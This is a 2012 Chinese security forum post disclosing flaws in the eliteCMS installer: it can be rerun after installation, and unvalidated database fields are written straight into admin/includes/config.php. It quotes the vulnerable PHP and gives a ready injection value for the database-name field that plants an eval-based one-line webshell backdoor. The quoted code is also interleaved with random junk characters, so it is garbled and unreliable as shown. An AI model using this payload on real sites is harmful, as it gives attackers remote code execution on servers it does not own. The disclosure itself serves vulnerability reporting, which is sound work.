找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装8 j, r( H+ ^: t( [

* x( F  w/ e4 n$ w' ]+ k7 u1 `另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( {% _9 G* L  I- a' q* E我们来看代码:) \+ e6 \8 ?  _& \

, Z5 h7 C5 q, d; y+ \...3 b& Z8 V- |$ g5 v) }) ^
elseif ($_GET['step'] == "4") {
. }( \- T* v# n* T. o2 n! a9 J! b    $file = "../admin/includes/config.php";
- a7 T& f# b7 t5 Q4 {- E# z+ e* U    $write = "<?php\n";; o  D5 V& Y6 j0 S
    $write .= "/**\n";
! m3 l/ e- U5 ~7 s6 R    $write .= "*\n";
  X$ `. h$ M2 S& s+ o    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";6 W+ q' `, o: \. \( `9 D* z
...略...
8 `9 N2 h: I5 C9 n    $write .= "*\n";
  O& o1 I( ]  \3 x, F    $write .= "*/\n";
! u7 |1 }% `/ E. G( }; G    $write .= "\n";
$ t5 \; C* _; O0 J5 M! `8 |    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";% F( `7 e$ z. L9 S. m; s0 @9 P
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
$ u, X; d# k' n+ r1 M    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, V5 v5 o% _# Q! t    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; V7 `  I( P- l    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";1 d6 H$ \( p4 `: L/ `
    $write .= "if (!\$connection) {\n";# i  {' [  U! e# {
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 \/ t$ B! W: L* m; v' P! a    $write .= "        \n";
( |, J' U4 y9 m3 r- k8 h( o* s    $write .= "} \n";5 s, k2 b; k$ {" l" s
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
; R& i! }, w5 c: l    $write .= "if (!\$db_select) {\n";
3 V3 S- U9 [* y* @% z    $write .= "        die(\"Database select failed\" .mysql_error());\n";0 q$ @0 W) K- ^7 g: e" r( l* u
    $write .= "        \n";! l' E1 i  q# ]7 X3 V: t
    $write .= "} \n";
, M5 a$ Y  @; }4 f" v8 ~. i    $write .= "?>\n";
. {. h' A7 A5 Z7 k5 f9 {) e, ^/ |8 h% M
$ Z7 n, y/ c1 w" T6 N0 W( |: E    $writer = fopen($file, 'w');, X* G9 z! i4 o
...0 b' |$ ~3 \1 x- O/ Y$ S

' E' O8 n& I" i+ `在看代码:
, ^; Y1 t/ g3 Z! w7 s; J; X( J 2 ?9 O- s, h' \8 H
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];, W. e+ e4 U: X
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. G' r. j8 X3 [* ~' R1 G0 u( X! u$_SESSION['DB_USER'] = $_POST['DB_USER'];
2 J* ~& V4 O8 Z1 m% c$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
' N+ D; }, h7 r/ { ' T3 N" J5 f) y" t
取值未作任何验证
1 g, I3 z4 v/ p, R4 t% L' i8 C5 Y如果将数据库名POST数据:
9 g# O  S0 |3 g! \% [4 ?& ^
& k' q  G/ o2 U' {"?><?php eval($_POST[c]);?><?php
: o- c' J. C* y: l
$ J" z1 R+ Q" T5 E% w: C8 N将导致一句话后门写入/admin/includes/config.php. V$ X$ g* u6 Y& M5 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表